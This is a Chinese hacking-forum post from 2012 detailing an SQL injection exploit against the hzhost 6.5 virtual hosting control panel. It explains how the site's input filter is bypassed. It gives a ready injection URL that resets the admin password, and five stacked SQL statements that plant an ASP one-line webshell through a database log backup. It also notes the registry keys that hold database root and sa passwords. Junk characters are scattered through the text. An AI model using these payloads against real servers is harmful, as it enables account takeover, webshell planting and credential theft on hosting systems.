找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1907|回复: 0
打印 上一主题 下一主题

再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 15:03:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。+ ?! T2 N$ f) H0 G) l& v! {
只讲两个要点。
) W  E0 a3 k% A) H8 w7 Y( v第一,如何拿网站管理员权限。& x9 ^  e% {8 K+ F8 v+ F& L, }
第二,如何备份木马。4 b' Y8 r9 t$ u
这次不是简单的注射点,而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来,而过滤函数又未过滤完全,导致我们有机会进行注射。
+ ~/ l+ L; E. _) h 我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。
1 t' j3 c* W; E' PhttP://www.xxbing.com QQ178737315
& j; x0 b$ w8 V/ A2 v+ G由于我写了很长,而且很累了,所以希望大家回帖鼓励一下。
9 n& I) M: [. Y5 r2 ?" s------------开放浏览-------------" t/ q% F* R$ S
漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中!
* {- A! r+ ?6 s, I' L( C: k-------------------------13-15行----------------------------4 R& s( Z0 Z. }3 @' V/ t' q" E
querytype=SafeRequest("querytype")  //saferequest函数接受数据
7 X5 t' p" i2 K) K+ y( l/ G if chk_int(querytype)=false then  //检查是否是整数
2 x. B: A- K% M    ErrMsg="<font color=#ff0000>对不起</font>,非法操作!..."' s! m( s, c* G) g# g( ~6 V' r
-------------------------37-42行---------------------------
1 r  o  C, U* o3 o elseif querytype=5 then //如果类型为5。就接受qu1数据!
( Q4 p/ y' U' k' x! r2 Q, B5 I   qu1=trim(SafeRequest("qu1"))      //saferequest函数接受数据,他自己定义的saferequest函数!
. K$ L- ]1 \0 q- i7 I* [   
) s$ X1 o  b; |0 x    if  qu1="" then  //不能为空
; i$ Q; j/ u$ u         call errorpage(-2,"对不起,请选择参数!")- N4 ]; ]5 G0 b) j) m! V. f
   end if         
5 d4 G. ~) g! Q! w" G      qstring=" and s_regstt="&qu1&" "  //这里是关键  qu1没有用单引号包围,虽然用了saferequest,但是我们可以绕过!8 V6 {; A& K8 O/ v9 o
-------------------------62-65行---------------------------
4 }* }* X1 y6 \, w6 ` qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据
" j: j8 e. b/ w% A if qu7<>"" then
' L& y. v' G; iqstring2=" and u_nme='"&qu7&"'" //这里被单引号包围了。  这里被包围了,所以这里成了死点!!1 w, E* b2 h3 ]$ m- K5 Z
end if
7 k  @/ W! U' F! l --------------------------117行-----------------------------/ J) [9 r! n! d3 e
query="select * from v_ot2lst where  (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')    "&qstring&qstring2&"  order by "&orderstring ) B5 I  E5 t! v- t" F9 G. ]
//到这里就丢进去查询了!0 v' Y1 A  K! O: v- N: L! \

, D5 O9 d/ E& M& T- E& C5 q 来看看saferequest()函数。+ S5 n( {. J0 m4 p) r
------------------incs/config.asp中-------------------------+ z9 X% i2 V" t
Function SafeRequest(ParaName)
  n! y3 r! u$ g) m Dim ParaValue ) N; E0 o/ F$ ~% G+ z1 F
ParaValue=Request(ParaName)  //获取数据4 ^+ F; S+ _% b& y' S2 @1 t
if IsNumeric(ParaValue)  then  //如果是数字( y. t  N. A! a' @
SafeRequest=ParaValue  //那就不过滤,直接赋值
/ S; j  N) F9 z" _9 b# U exit Function/ F9 a8 s# D- i5 y( A& n

2 I* z; L7 p) } else
1 a; L4 f* p" X, d, O7 M ParaValuetemp=lcase(ParaValue)    //如果不是数字,先把接到的数据全部转为小写: z. ^# o' @; N( B# V/ r
tempvalue="select |insert |delete from|'|count(|drop table|update |truncate  |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"
: {- O' D( f* v( i. _ //定义要过滤的字符!
3 [) r( U" e) Z5 c
/ b) f: A9 a- _" G4 `0 A5 e) c 他过滤方式有问题。。。没有过滤 * / % / -- / ;' z) ?' ^- X9 B' M5 E
而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。2 ]$ P9 H* ?/ c" y
' W1 }: {# r* \# L/ q7 p9 S, O: O
temps=split(tempvalue,"|")           //转为一维数组
6 Z2 B6 X' U" z% P) _. L' q+ j for mycount=0 to ubound(temps)       //循环读数组内数据  s5 N. ]. g" K0 W
if  Instr(ParaValuetemp,temps(mycount)) > 0 then   //判断用户提交的数据是否包含了 非法字符。) u* F2 k; h0 S
                 call errorpage(-2,"非法请求!!!")  //如果有则弹出提示!!" d# B; z! u4 |0 f5 t) W
                 response.end) Z) L% }8 w$ {; d
end if
- ]# Q( ?! [" M$ D next' k) ]' f6 s( u8 M* P6 i
SafeRequest=ParaValue
! v4 J* y1 D6 I; k end if+ U& C  V# A9 a3 S/ `
End function0 u! H7 l' N* A1 S( A
-------------------------------------
6 j* b6 Z% M- t6 g! P+ v
3 w3 N  O7 [1 n' c1 F 所以我们构造注射点的思路就是:不能出现单引号,update,select等等两边都要用%09(tab)..仔细看清楚。上面过滤的是update+空格。select+空格。  v! G' W3 R7 N& Z
先给出查询语句的框架。
) Z6 U' T1 ]3 `; [8 Z; H0 f# bselect * from v_ot2lst where  (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc
& n. E; E" _5 O0 |# {3 \) V5 q$ }  ^3 x
为了使语句顺利执行:8 d% |( ~7 |3 \- p! R" l
我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他,是因为注释后,实际查询出错了。- {$ ^) N9 m( x
这里我给出条示范语句,即{我们的语句}
' I& T. E; p( x% U7 z7 W3 ^UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E/ D) |; _7 ~8 J8 q  O' P
6 ?' l' s1 @- U0 H) A6 |9 R% x  F% W
这条语句能够绕过saferequest函数的检测。没有出现单引号。
% C5 ?# ]( H$ V0 n: X8 Y 我们提交:
8 l& O( S" v1 lhttp://www.xxxxxx.com/control/ot ... amp;qu1=1;UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1: @/ g. E4 a& \

8 A  ~0 w3 T0 { 这句话就能够将admin的密码修改成123456
7 D- N  x- `$ q5 @' | 到此第一个目的就达到了。如果admin不是超级管理员。那么请看《HZHOST域名虚拟主机管理系统sql注射漏洞》中所提到的方法。相关语句请自己转换。8 q; A9 D1 d. ~$ q6 z& s/ k1 ^. ^
第二步是要备份挂马。* l& p$ @2 g# b$ t) M
大家看动画中的备马这么简单,当初难了我老半天。saferequest过滤了char(( E  F% {' l5 ?+ _2 S8 V3 X# ^# T
导致备马的这条语句失败。
; ^1 {" G0 m# \2 k9 }declare @a sysname,@s varchar(4000) select @a=db_name(),@s=。。。。。。。。。, l* U8 i$ V/ @

. K9 I  Y  ^* d* \3 y 有人给我建议改成 @s ntext 等等,换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。2 o+ B; ~' D# B
由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000),也是可以的。这样我们就饶过了char(
. S& O9 K, G1 Y' [& n8 Y3 G0 a 接下来放出详细语句。大家放入{我们的语句中}9 r; P' Q- w# q. g3 A. j
第 一 步:1 A7 g; b' b8 m; ]1 i
create table [dbo].[shit_tmp] ([cmd] [image])--
7 x1 N3 L4 f* J; r; Y$ S( a9 S 第 二 步
& ^$ E& a* f# ]# q) Q' X5 i9 `8 [ declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--4 d7 U6 w- X& r) P
第 三 步; p4 e; T( S/ j0 `7 C
insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--
/ t- n% G. U1 l 第 四 步
  A' J( K+ i: _5 X" n  Z4 Q/ ^ declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--. b- Q2 ~6 k& ]) V0 Y' E" Q  v
第 五 步9 Q' p& _  S- N5 n3 [
Drop table [shit_tmp]--
( r% F% D+ l, K3 L4 B! c" E7 ?9 k
9 j8 A2 P0 ~  b& O7 p( K 上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。
. t$ M0 P# O( V0 A% |: D+ s' v+ [- I 一般来说,我们就能拿到webshell. 至于拿webshell后,如何取得系统权限。
( J2 A1 I& l7 X 请看《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!》. v: x4 q$ E8 t, y0 B  z" m( s
4 ^5 e5 z4 t  w# C  _/ H
最后是答疑部分:
1 k% w2 J# G( c4 s, f1 X; } 1:这次是get注射,不像上次是post注射。由于没有文本框字符的限制,所以不需要保存网页到本地。* p) s- f6 ^7 {
% ?- U( q) H" I$ M, R
2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后,成为0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500+ b- k7 {" {5 W- Q& b
这是转为nvarchar型的,我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即:1 o9 M' }! \  Y) r
0x65313061646333393439626135396162626535366530353766323066383833654 s# d/ E2 V* b  F
大家仔细观察,会发现,其实只是去掉了一些00。。
& O( ^5 {( B6 ^# D' N  l& p 所以大家在转换其他md5的时候,注意此问题。8 A) I0 O5 m6 T; q, v
8 r- D* {8 ?# d, k1 X+ `1 t  H2 [7 a7 r
3:读sa密码,root密码。我们读的是加密了的。还原必须在本机,每台hzhost主机都有自己的密钥,密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。
! g) L5 l$ D# Z& O& m 另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手,能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。
4 g& y3 j+ A. t+ {1 w1 g9 d6 O7 l2 p: C, v$ h' c: k" F( ^
4:备马的问题,备份成功后,可能出现乱码,是由于截断了的原因,大家用NBSI3。去掉2个截断的勾,再生成语句执行就行了。5 e" y' M5 |! W
有的服务器可能在备马的过程中出现SQL过期,超时。遇到这样的是对方数据库很大,这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。. T) N0 y! Q# e8 r" C- E

( S/ T4 z/ ]  ?! Y7 P) a 5:hzhost其实不只这一个注射点,没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。
$ z( P& o' K) F  {- w9 d" Y2 N. O$ F5 x! `/ ]8 }5 ?4 T; _5 B+ ?
6::3 z4 u. A# T2 T" ]2 d; q* z
sa密码。root密码。
+ P6 t& ]' s: p, [ HKEY_LOCAL_MACHINE\software\hzhost\config\settings\
2 E8 e, U6 ?% R9 S" b mysqlpass---root密码  Y. U. w& w" Q; u0 Z0 G
mssqlpss----sa密码7 {; N" t3 Q$ g2 O6 A) M

0 Y0 n) p6 a/ t* c  s
( X% T6 r: T5 Q1 i% |8 i, d9 j 7.如果路径不在D:/hzhost
$ ~* w4 i! P9 j) M8 W 那么就是你人品问题!进后台找找普通用户FTP/web的路径,也许会有些用。# q# S0 n8 F* O& e8 R
或者去读注册表。
. Q& y/ ?% y! P- M# [+ M: M4 i1 @! O HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下
( m, v9 a) W9 y6 z "wwwrootpath"="e:\\wwwroot"
# w% u1 M/ o5 N$ [  I7 [( G! e "urlsiteroot"="D:\\hzhost\\hzhost_url"
" D  N9 G: c# c. {+ v8 Z  F. Z. O "ftprootpath"="e:\\ftproot"   可以看出什么? 绝对路径放在注册表中。把注册表中的值更新到某个字段,再去读就行了。(比如用户e-mail中。。)1 N8 X: M6 Q1 T- T% n
大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路!
! s+ n! D0 s* _2 L; V5 W# J9 @) U
) v/ j5 J9 S/ L" F; T 利用动画下载地址(送给菜鸟同学们,能看懂文章的大不必下载,只是把文章的内容完全演示了一遍。)
: h4 l2 M( w! m9 L& K5 |4 mhzhost最新漏洞.rar
  r6 X" Y5 P- U! d 饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以,只能放到这里。抱歉啊!!( R9 }. S* D0 \& o" S1 m
' H1 g0 t, p" K+ |
最后,还是版权。
! w& K5 y& l/ m4 }8 ]http://www.xxbing.com QQ178737315
: W, T6 U8 I2 K- ^" P" z$ U6 |' Q2 e 允许自由转载。但请注明作者。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表